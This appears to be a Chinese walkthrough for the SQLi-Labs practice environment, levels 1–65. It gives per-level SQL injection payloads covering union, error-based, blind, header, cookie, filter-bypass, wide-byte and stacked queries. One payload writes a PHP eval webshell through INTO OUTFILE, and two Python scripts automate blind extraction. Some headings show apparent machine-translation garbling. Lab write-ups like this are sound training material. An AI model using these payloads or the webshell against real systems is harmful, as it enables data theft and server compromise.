SQLi_Labs通关文档【1-65关】

为了不干扰自己本机环境,SQL-LAB我就用的码头工人,跑起来的,搭建也非常简单,也就两条命令

docker pull acgpiano/sqli-labs

docker run -dt --name sqli-lab -p [你要映射的端口]:80 acgpiano/sqli-labs:latest

然后在SQL-LAB上直接初始化数据库就好了。

这里列举一下SQL基础语句

show databases; //查看数据库

use xxx; //使用某个数据库

show tables; //查看该数据库的数据表

desc xxx; //查看该数据表的结构

select * from xxx; //查找某个数据表的所有内容

select schema_name from information_schema.schemata; //猜数据库

select table_name from information_schema.tables where table_schema='xxxxx'; //猜某数据库的数据表

Select column_name from information_schema.columns where table_name='xxxxx'; //猜某表的所有列

left(a,b) //从左侧截取 a 的前 b 位

mid(column_name,start[,length]) //从位置start开始,截取column_name字符串的length位,与substr作用相同

substr(string, start, length) //从位置start开始,截取字符串string的length长度,与mid作用相同

ascii() //将某个字符转换成ascii码

ord() //将某个字符转换成ascii码,同ascii()

少-1

尝试添加'注入,发现报错

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

这里我们就可以直接发现报错的地方,直接将后面注释,然后使用

1' order by 3%23 //得到列数为3

//这里用-1是为了查询一个不存在的id,好让第一句结果为空,直接显示第二句的结果
-1' union select 1,2,group_concat(schema_name) from information_schema.schemata%23 //得到数据库名 -1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema= 'security'# //得到表名 -1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name= 'users'# //得到列名 -1' union select 1,username,password from users where id=3# //爆破得到数据

少-2

在添加“之后,得到返回

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

可以得到这个SQL语句其实并没有单引号,只是用数字进行查询,例如

select * from users where id=1

所以我们也可以跟上面一样,有效载荷:

-1 or 1=1%23

欠3

添加“之后,返回

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

可以得到大概的SQL语句:

select * from users where id=('input') LIMIT 0,1;

所以我们可以需要闭合)。

-1') or 1=1%23

欠4

尝试“并未发现报错,尝试”发现报错

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

可以得到大概的SQL语句

select * from users where id = ("input") LIMIT 0,1;

所以有效载荷:

-1") or 1=1 %23

其他注入语句同上,就不再一一列举了。

少-5

尝试'发现报错

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

猜测SQL语句为

select * from users where id='input' LIMIT 0,1;

如果尝试之前的注入方法,会发现不再会返回我们注入的信息,如果注入成功的话,页面会返回You are in...,出错的话就不会返回这个字符串,所以这里我们可以进行盲注。

使用左()

我们例如可以使用1' and left(version(),1)=3%23这个有效载荷进行测试,截取version()得到的最左侧的字符判断是否为3,如果为3则正常返回You are in...,否则不返回。所以我们可以利用这个一步一步爆破得到left(version(),1)=5。爆破区间可以确定在/[0-9.]/

采用1'and length(database())=8%23对数据库名字长度进行爆破,确定数据库名字长度之后,可以我们使用database()来进行爆破数据库名,采用left(database(),1)>'a'这个有效载荷进行测试,原理跟上述一致,看返回即可,直到截取长度与数据库名字一致为止,这里效率比较高的就是采用二分法进行盲注。

使用SUBSTR(),ASCII()

也可以采用SUBSTR(),ASCII()函数进行尝试:

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80%23 //截取数据库下第一个表的第一个字符与80ascii值进行对比

找第二个字符只需要改成substr('xxx',2,1)即可。
找第二个表改成limit 1,1

使用正则表达式()

1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^us[a-z]' limit 0,1;)%23
//users表中的列名是否有us**的列

使用ORD(),中()

1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))= 68%23
//cast(username AS CHAR)将username转换成字符串
//IFNULL(exp1,exp2)假如expr1不为NULL,则IFNULL()的返回值为expr1; 否则其返回值为expr2。IFNULL()的返回值是数字或是字符串,具体情况取决于其所使用的语境。
//ord前文提过

使用报错注入

推荐一篇超详细的讲解报错注入的文章

Mysql报错注入原理分析(count(),rand(),分组)

超链接:https ://www.cnblogs.com/xdans/p/5412468.html

1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0
x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+ 1' union select 1,count(*) ,concat((select user()),floor(rand(0)*2))x from security.users group by x# 1' union select (!(select * from (select user())x) - ~0),2,3 --+ 1' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+ 1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) --+ 1' union select 1,2,3 from (select NAME_CONST(version(),1), NAME_CONST(version(),1))x --+

使用延时注入

benchmark是Mysql的一个内置函数,其作用是来测试一些函数的执行速度.benchmark()中带有两个参数,第一个是执行的次数,第二个是要执行的函数或者是表达式

1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+

1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+

少-6

没有回显,可以使用布尔盲注

1" and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100--+

发现可以>100有回显,小于就没有,也可以用报错注入...

这里就是把Less-5中的'改成"就行了

少-7

使用文件导出

1'))UNION SELECT 1,2,3 into outfile "c:\\wamp\\www\\sqlli b\\Less-7\\uuu.txt"%23

1'))UNION SELECT 1,2,'<?php @eval($_post[“mima”])?>' into outfile "c:\\wamp\\www\\sqllib\\Less-7\\yijuhua.php"--+

少-8

可以使用时间盲注,也可以用bool盲注

1' and If(ascii(substr(database(),1,1))>115,1,sleep(5))--+

少-9

同少 - 8可以使用时间盲注

1' and If(ascii(substr(database(),1,1))>115,1,sleep(5))--+

欠10

1" and If(ascii(substr(database(),1,1))>115,1,sleep(5))--+

欠11

报错注入,少一列就行了

1' union Select count(*),concat(0x3a,0x3a,(select group_concat(schema_name) from information_schema.schemata),0x3a,0x3a,floor(rand(0)*2))a from information_schema.schemata group by a#

1' union select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.columns group by x#

欠12

1") union Select count(*),concat(0x3a,0x3a,(select group_concat(schema_name) from information_schema.schemata),0x3a,0x3a,floor(rand(0)*2))a from information_schema.schemata group by a#

1") union select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.columns group by x#

欠13

1') or 1=1#

成功登录,报错注入成功但是不回显,可以考虑盲注

1') or ascii(substr((database()),1,1))>100#

欠14

1" or 1=1#

成功登录,依然不能回显,尝试使用布尔盲注

1" or left(database(),1)='s'#

可以发现用updatexml进行报错注入

1" and updatexml(1,concat(0x7e,(select @@version),0x7e),1)#

欠15

1' or 1=1#

成功登录,布尔注入或者时间盲注均可行

1' or left(database(),1)='s'#
admin' and If(ascii(substr(database(),1,1))>115,1,sleep(5))#

欠16

1") or 1=1#

成功登录,布尔注入或者时间盲注均可行

1") or left(database(),1)='s'#
admin") and If(ascii(substr(database(),1,1))>115,1,sleep(5))#

欠17

update注入,username过滤了很多,有password错误回显,考虑用报错注入

1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)#

欠18

登录成功后,页面提示

Your IP ADDRESS is: 172.17.0.1
Your User Agent is: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0

那么有可能是ip或者UA注入,看了一下发现是个Header头注入,这里需要注意这是登录成功的条件下才能触发的,而且既然是insert注入,需要用'1'='1闭合后面的sql语句,否则就是语法错误了

' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1),"1","1")#

欠19

登录成功后提示

Your IP ADDRESS is: 172.17.0.1
Your Referer is: http://localhost:8081/Less-19/

于是我们可以知道是在Referer应该有注入点,在Referer处同样用

' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1

可以注入

欠20

cookie注入,登录成功后修改cookie即可

' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1

欠21

登录成功后发现cookie加上了base64

YOUR COOKIE : uname = YWRtaW4=

用上面的payload进行base64编码就行了,记得=要urlencode

JyBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQHZlcnNpb24pLDB4N2UpLDEpIGFuZCAnMSc9JzE%3d

欠22

同21,单引号换成双引号即可

IiBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQHZlcnNpb24pLDB4N2UpLDEpIGFuZCAiMSI9IjE%3d

欠23

这里#--+均被过滤了,但是可以我们利用or "1"="1来闭合后面的双引号也。可以达到我们的目的

-1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1

欠24

这里是个二次注入,我们可以先注册一个admin'#的账号,在修改密码处我们就可以以自己的密码修改admin的密码了,因为修改密码处形成的sql语句是

UPDATE users SET passwd="New_Pass" WHERE username ='admin'#'xxxx

这样#就注释掉了后面的sql语句

欠25

题目很直接,提示直接把  orand过滤了,但是可以用&&||绕过

admin'||updatexml(1,concat(0x7e,(select @@version),0x7e),1)#

也可以双写绕过

0' union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata;#

少-25A

-1 union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata %23

欠26

题目提示空格与注释被过滤了,使用可以%0a绕过,可以盲注也可以报错注入

0'||left(database(),1)>'s'%26%26'1'='1
0'||updatexml(1,concat(0x7e,(Select%0a@@version),0x7e),1)||'1'='1

少-26A

题目提示空格与注释被过滤了,使用可以%a0绕过,报错注入不出,可以用布尔盲注

0'||'1'='1 #探测为'
0'||left(database(),1)='s'%26%26'1'='1 白盒审计知道是')
0%27)%a0union%a0select%a01,database(),2||('1
0%27)%a0union%a0select%a01,database(),2;%00

欠27

提示题目unionselect被过滤了,可用大小写绕过

0'||'1'='1
0'||left(database(),1)='s'%26%26'1'='1 0'%0AunIon%0AselEct%0A1,group_concat(schema_name),2%0Afrom%0Ainformation_schema.schemata;%00

少-27A

增加了"

0"%0AunIon%0AselEct%0A1,group_concat(schema_name),2%0Afrom%0Ainformation_schema.schemata;%00

欠28

union select大小写均被过滤,但是select还可单独用,盲注即可

0')||left(database(),1)>'s';%00

少-28A

依然可以用盲注

0')||left((database()),1)='s';%00
0')||left((selEct%0agroup_concat(schema_name)%0afrom%0Ainformation_schema.schemata),1)<'s';%00

欠29

利用tomcatapache解析相同请求参数不同的特性,tomcat解析相同请求参数取第一个,而apache取第二个,如?id=1&id=2tomcat取得1,apache取得2

?id=1&id=0' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23

欠30

与29架构一样,原理一致只不过加了"限制

?id=1&id=0" union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23

欠31

架构一样,多了")

?id=1&id=0") union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23

Le ss-32

注意是GBK,用可以%df进行宽字节注入

0%df%27%20or%201=1%23
0%df' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23

欠33

0%df' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23

少-34

uname=0%df'%20union+selEct%201,group_concat(schema_name)%20from%20information_schema.schemata%3b%23&passwd=1&submit=Submit

欠35

0 union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23

欠36

0%df%27%20union%20selEct%201,group_concat(schema_name),2%20from%20information_schema.schemata;%23
-1%EF%BF%BD%27union%20select%201,user(),3--+

欠37

uname=0%df%27%20union%20selEct%20group_concat(schema_name),2%20from%20information_schema.schemata;%23&passwd=1&submit=Submit

欠38

堆叠注入,创建³³成功test数据表

1';create table test like users;%23

少-39

1;create table test39 like users;%23

欠40

1');create table test40 like users;%23

欠41

1;create table test41 like users;%23

欠42

password处无过滤

login_user=1&login_password=1'%3bcreate+table+test43+like+users%3b%23&mysubmit=Login

欠43

password处无过滤

login_user=1&login_password=1')%3bcreate+table+test43+like+users%3b%23&mysubmit=Login

欠44

login_user=1&login_password=1'%3bcreate+table+test44+like+users%3b%23&mysubmit=Login

少-45

login_user=1&login_password=1')%3bcreate+table+test45+like+users%3b%23&mysubmit=Login

欠46

order by注入

usernamepassword均为列名,所以以下需要知道列名

?order=if(1=1,username,password)
?order=null,if(1=1,username,password)
?order=(case when (1=1) then username else password end)
?order=ifnull(null, username)
?order=rand(1=1) //order by rand(1)/rand(0)两者返回不一样
?order=(select 1 regexp if(1=1,1,0x00))

1=1换成布尔盲注的语句函数即可用于获取数据

sort=rand(ascii(database(),1))=115)

时间盲注

sort=1 and if(ascii(substr(database(),1,1))=116,0,sleep(5))
sort=(select if(substring(current,1,1)=char(115),benchmatrk(5000000,md5('1')),null) from (select database() as current) as tb1)

Bool盲注

rand(ascii(left(database()),1))=115)

报错注入:

updatexml(1,if(1=1,concat(0x7e,version()),2),1)
(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))

程序分析参数后注入

sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)

到outfile参数:

id=1 into outfield "path"

上传网马,在可以加上后面lines terminated by 16进制转码的数据

欠47

',可以用报错

1'and (select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))--+
1'and (select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x)--+

也可以用时间盲注

1'and If(ascii(substr(database(),1,1))=115,0,sleep (5))--+

程序分析参数后注入

1'procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+

少-48

1 and If(ascii(substr(database(),1,1))>115,0,sleep (5))--+
sort=rand(ascii(left(database(),1))=115)

少-49

1' and If(ascii(substr(database(),1,1))=115,0,sleep (5))--+
1' and (If(ascii(substr((select username from users where id=1),1,1))=68,0,sleep(5)))--+

欠50

堆叠注入

1;create table test50 like users;%23

欠51

1';create table test51 like users;%23

欠52

1;create table test52 like users;%23

欠53

1';create table test53 like users;%23

欠54

如果没有点提交按钮将会进入下面的其他语句,有过滤,显然突破口在上面。如果点了提交将会setCookie方法,看到然后个有GET提交的ID参数,然后有个更新数据库操作,这里限制了10次请求次数,否则更新数据库。

http://192.168.211.145/sqli/Less-54/index.php?id=-1%27%20union%20select%201,database(),%273 //查库
http://192.168.211.145/sqli/Less-54/index.php?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23 //查表
http://192.168.211.145/sqli/Less-54/index.php?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='ecimhbu7cx //查列
http://192.168.211.145/sqli/Less-54/index.php?id=-1' union select 1,group_concat(secret_NO71),3 from ecimhbu7cx%23 //查数据

少-55

这个题限制了请求14次,不过当测试出闭合情况之后后面就一切顺利了。
先尝试闭合

http://192.168.211.145/sqli/Less-55/?id=1'%23 //错误
http://192.168.211.145/sqli/Less-55/?id=1')%23 //错误
http://192.168.211.145/sqli/Less-55/?id=1)%23 //正确

之后尝试的英文发现用)闭合

http://192.168.211.145/sqli/Less-55/?id=-1) union select 1,database(),3%23

欠56

这几关都差不多,首先也是尝试闭合

http://192.168.211.145/sqli/Less-56/index.php?id=1')%23 //成功闭合
http://192.168.211.145/sqli/Less-56/index.php?id=-1') union select 1,database(),3%23

欠57

这关是双引号闭合的

http://192.168.211.145/sqli/Less-57/?id=-1" union select 1,database(),3%23

欠58

查询之后并没有返回查询数据库当中的数据,不能使用工会联合注入,但是有报错回显,可以使用报错注入。

http://192.168.211.145/sqli/Less-58/index.php?id=0' and extractvalue(1, concat(0x5c, (select database())))%23

少-59

SQL语句:

$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";

有效载荷:

http://192.168.211.145/sqli/Less-59/index.php?id= 1 and extractvalue(1, concat(0x5c, (select database())))%23

欠60

http://192.168.211.145/sqli/Less-60/?id=1") and extractvalue(1, concat(0x5c, (select database())))%23

欠61

http://192.168.211.145/sqli/Less-61/?id=1'))and extractvalue(1, concat(0x5c, (select database())))%23

欠62

接下来几关要在130次内完成盲注。只不过有次数限制,很明显不能去爆破

http://192.168.211.145/sqli/Less-62/index.php?id=1') and (length(database())=10)%23

写脚本跑出数据库名字:
# -*- coding: UTF-8 -*- 
import requests
global num
url = "http://192.168.211.145/sqli/Less-62/index.php?id=1')"
def check(payload):
global num
num += 1
content = requests.get(url=payload).text
print payload
if "Angelina" in content:
return 1
else:
return 0
def exp():
result = ''
start = 30
end = 127
for i in range(1,11):
for j in range(start,end):
tmp = (start+end)/2
#print tmp
payload = url + "and ascii(substr(database(),%d,1))>%d--+" % (i,tmp)
if (end - start ==1):
payload = url + "and ascii(substr(database(),%d,1))=%d--+" % (i,tmp)
if check(payload):
result += chr(tmp)
start = 30
end = 127
break
else:
result += chr(tmp+1)
start = 30
end =127
break
if check(payload):
start = tmp
else:
end = tmp
print result
if __name__ == '__main__':
num =0
exp()
print num

跑字段的脚本

# -*- coding: UTF-8 -*- 
import requests
global num
url = "http://192.168.211.145/sqli/Less-62/index.php?id=1')"
def check(payload):
global num
num += 1
content = requests.get(url=payload).text
print payload
if "Angelina" in content:
return 1
else:
return 0
def exp():
result = ''
start = 30
end = 127
for i in range(1,25):
for j in range(start,end):
tmp = (start+end)/2
#print tmp
payload = url + "and ascii(substr((select secret_28HE from qyzq3rflb5),%d,1))>%d--+" % (i,tmp)
if (end - start ==1):
payload = url + "and ascii(substr((select secret_28HE from qyzq3rflb5),%d,1))=%d--+" % (i,tmp)
if check(payload):
result += chr(tmp)
start = 30
end = 127
break
else:
result += chr(tmp+1)
start = 30
end =127
break
if check(payload):
start = tmp
else:
end = tmp
print result
if __name__ == '__main__':
num =0
exp()
print num

少-63

这关跟上一关一样,的唯一区别在于需要使用单引号闭合

不再赘述!

欠64

这关跟上一关一样,的唯一区别在于需要使用括号闭合

不再赘述!

少-65

这几关性质都一样,只不过闭合语句不同,不再赘述

SQL语句:

$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";
 
 

SQLi_Labs通关文档【1-65关】的更多相关文章

  1. SQLi_Labs通关文档

    SQLi_Labs通关文档 先列举一下sql基础语句 show databases; //查看数据库 use xxx; //使用某个数据库 show tables; //查看该数据库的数据表 desc ...

  2. 安装部署VMware vSphere 5.5文档 (6-5) 安装配置vCenter

    部署VMware vSphere 5.5 实施文档 ########################################################################## ...

  3. MYSQL服务器my.cnf配置文档详解

    MYSQL服务器my.cnf配置文档详解 硬件:内存16G [client] port = 3306 socket = /data/3306/mysql.sock [mysql] no-auto-re ...

  4. Ultimate Chicken Horse GameProject第三次迭代成果文档

    经过三次迭代我们实现了游戏的基本功能 项目文档的github链接:https://github.com/k6tok12355/Ultimate-Chicken-Horse 下面是我们在第一次迭代中设定 ...

  5. 将word文档A表格中的内容拷贝到word文档B表格中

    Function IsFileExists(ByVal strFileName As String) As Boolean ) <> Empty Then IsFileExists = T ...

  6. 树莓派配置文档 config.txt 说明(转)

    原文连接:http://elinux.org/RPi_config.txt 由于树莓派并没有传统意义上的BIOS, 所以现在各种系统配置参数通常被存在"config.txt"这个文 ...

  7. ASP.NET CORE 1.0 MVC API 文档用 SWASHBUCKLE SWAGGER实现

    from:https://damienbod.com/2015/12/13/asp-net-5-mvc-6-api-documentation-using-swagger/ 代码生成工具: https ...

  8. Web Api 2 接口API文档美化

    使用用第三方提供的swgger ui 帮助提高 web api 接口列表的阅读性,并且可以在页面中测试服务接口. 运行程序如下: 注意:在IE中必须输入红色部分. 并且可以对方法进行测试. 在开发we ...

  9. 【JAVA与DOM4J实现对XML文档的CRUD操作】

    一.简介 1.网上下载DOM4J 1.6.1压缩包,解压开之后,发现几个目录和一个jar文件,jar文件是必须的文件其它目录: docs目录:帮助文档的目录,单击index.html: Quick s ...

随机推荐

  1. springtask 基本使用和 cron 表达式

    springtask 的基本使用和 cron 表达式 spring 容器依赖 <dependency> <groupId>org.springframework</gro ...

  2. 富文本编辑器 KindEditor 的基本使用 文件上传 图片上传

    富文本编辑器 KindEditor 富文本编辑器,Rich Text Editor , 简称 RTE , 它提供类似于 Microsoft Word 的编辑功能. 常用的富文本编辑器: KindEdi ...

  3. 1. vue 的安装

    兼容性 Vue 不支持 IE8 及以下版本,因为 Vue 使用了 IE8 无法模拟的 ECMAScript 5 特性.但它支持所有兼容 ECMAScript 5 的浏览器. 安装: 1.直接用 < ...

  4. 有这样一个url=http://item.taobao.com/item.htm?a=1&b=2&c=&d=xxx&e,请写一段js程序提取url 中的各个get参数(参数名和参数个数不确定),将其按key-value形式返回到一个json结构中, 如{a:'1',b:'2',c:'',d:'xxx',e:undefined}

    第一种方法: console.log(getJson(url)); function getJson(url){ var obj={}; var arr=url.split("?" ...

  5. selenium--多窗口操作

    前戏 想一想,我们为什么要获取窗口句柄呢?有什么用呢? 来假设一下,我们打开了一个网站,点击了一个按钮,新打开了一个页面,我们在新页面操作完成之后,需要回到原来的页面继续操作,这时候你如果继续操作原来 ...

  6. 在eclipse中新建java问题报错:The type XXX cannot be resolved. It is indirectly referenced from required .class files

    在Eclipse中遇到The type XXX cannot be resolved. It is indirectly referenced from required .class files错误 ...

  7. Apache的代理服务器的配置 (正向代理 ,反向代理,轮询调度)

    一. 代理服务器的了解1.代理服务器 代理服务器英文全称是Proxy Server,其功能就是代理网络用户去取得网络信息. Squid是一个缓存Internet 数据的软件,其接收用户的下载申请,并自 ...

  8. udev只能修改Linux 网口名称,无法修改/dev目录下的设备名称

    NAME The name to use for a network interface. The name of a device node cannot be changed by udev, o ...

  9. Android Q Beta 6 终极测试版发布!

    前言 当今手机市场可谓是百花齐放,但手机系统却屈指可数,其中Android和iOS就占据了整个手机系统市场的99%,单单Android就占据了整个手机系统市场的86%,可谓是占据绝对优势.     其 ...

  10. Scopus数据库简介

    ScienceDirect数据库1. Elsevier简介荷兰Elsevier 是全球最大的科学文献出版发行商,已有180多年的历史.其产品涵盖科学.技术和医学等各个领域,包括1800多种学术期刊(大 ...